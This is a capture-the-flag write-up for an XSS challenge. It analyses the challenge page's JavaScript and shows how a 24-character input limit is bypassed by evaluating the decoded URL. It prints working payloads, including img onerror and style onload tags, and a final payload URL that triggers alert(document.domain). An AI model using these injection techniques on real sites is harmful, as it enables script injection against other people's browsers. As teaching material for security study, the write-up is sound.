Analysis

For this challenge we get the following page

Here we have a input field and a input to tell if we have played the game previously.

Entering something in the name input and submitting we get a popup reflecting our input.

We can also see the parameters in the URL that is used.

https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Ch1%3Etest%3C%2Fh1%3E&first=yes

Entering some HTML in the input field and submitting shows the rendered result in the popup.

When we try to enter a name longer than 24 characters we get a error message instead.

Lets take a look at the source code and find out what’s going on. In the main HTML page we find a script tag with all the JavaScript code for the page.

  <script>
    window.name = 'XSS(eXtreme Short Scripting) Game'
    function showModal(title, content) {
      var titleDOM = document.querySelector('#main-modal h3')
      var contentDOM = document.querySelector('#main-modal p')
      titleDOM.innerHTML = title
      contentDOM.innerHTML = content
      window['main-modal'].classList.remove('hide')
    }
    window['main-form'].onsubmit = function(e) {
      e.preventDefault()
      var inputName = window['name-field'].value
      var isFirst = document.querySelector('input[type=radio]:checked').value
      if (!inputName.length) {
        showModal('Error!', "It's empty")
        return
      }
      if (inputName.length > 24) {
        showModal('Error!', "Length exceeds 24, keep it short!")
        return
      }
      window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
    }
    if (location.href.includes('q=')) {
      var uri = decodeURIComponent(location.href)
      var qs = uri.split('&first=')[0].split('?q=')[1]
      if (qs.length > 24) {
        showModal('Error!', "Length exceeds 24, keep it short!")
      } else {
        showModal('Welcome back!', qs)
      }
    }
  </script>

In the showModal function we can see two innerHTML assignments which we may be able to use as sinks.

titleDOM.innerHTML = title
contentDOM.innerHTML = content

Taking a look at the calls to showModal we find that the only call not using constant values are the call in the last else statement in the code.

    if (location.href.includes('q=')) {
      var uri = decodeURIComponent(location.href)
      var qs = uri.split('&first=')[0].split('?q=')[1]
      if (qs.length > 24) {
        showModal('Error!', "Length exceeds 24, keep it short!")
      } else {
        showModal('Welcome back!', qs)
      }
    }

To call showModal with our data we have to have a maximum of 24 characters in the q parameter.

Exploitation

First let’s verify that we can execute JavaScript by calling the showModal function directly from the browser console to bypass the length check. Calling showModal('test','<img onerror=alert(1) src=/>') indeed works and triggers the alert.

Now we have to find out a way to trigger alert(document.domain) and since the length of this already is 21 characters we have to find another way than relying on the q parameter.

This blog post talks about how to eval a url. The trick here is that a url is valid JavaScript and if we are able to add a new line character after the url we can execute arbitrary JavaScript. As long as we can inject a short enough payload that will eval the url, this method should give us the ability to execute alert(document.domain).

Lets start by verifying that the method works by calling eval("https://challenge-0222.intigriti.io/challenge/xss.html?q=test&first=yes\nalert(1)") in the console. And sure enough we trigger an alert.

But entering \n in the address bar won’t work since it will be interpreted as the characters \ and n instead of a newline as shown by viewing the location.href variable in the console.

Lets go back to the code and take a look at what we have to work with.

    if (location.href.includes('q=')) {
      var uri = decodeURIComponent(location.href)
      var qs = uri.split('&first=')[0].split('?q=')[1]
      if (qs.length > 24) {
        showModal('Error!', "Length exceeds 24, keep it short!")
      } else {
        showModal('Welcome back!', qs)
      }
    }

Here we can see that the uri variable should exist as long as the q parameter is provided. It’s assigned using decodeURIComponent which will decode UTF-8 encoded characters such as %20 for space or %0a for a newline.

So lets try it out. Navigating to https://challenge-0222.intigriti.io/challenge/xss.html?q=test&first=%0aalert('eval') and printing the uri variable in the console shows us that the newline is interpreted correctly.

Now to verify that all the pieces works together, calling showModal('test','<img onerror=eval(uri) src=/>') to use the uri to trigger alert('eval') works!

Now we need to find a short enough payload to trigger eval(uri). Using PortSwiggers Cross-site scripting (XSS) cheat sheet to find short events that works on both Chrome and Firefox we end up with onerror and onload.

Starting with the shortest of the two, onload, and checking which elements have the event we find the style tag with a relatively short payload <style onload=alert(1)></style>

After rewriting the payload to <style onload=eval(uri)> we now have a payload that is exacly 24 characters. Lets test it out to verify that it will trigger an alert.

And calling showModal('test','<style onload=eval(uri)>') triggers the alert.

Great! When we put all the pieces together we get the following payload https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle%20onload=eval(uri)%3E&first=%0Aalert(document.domain) which triggers alert(document.domain).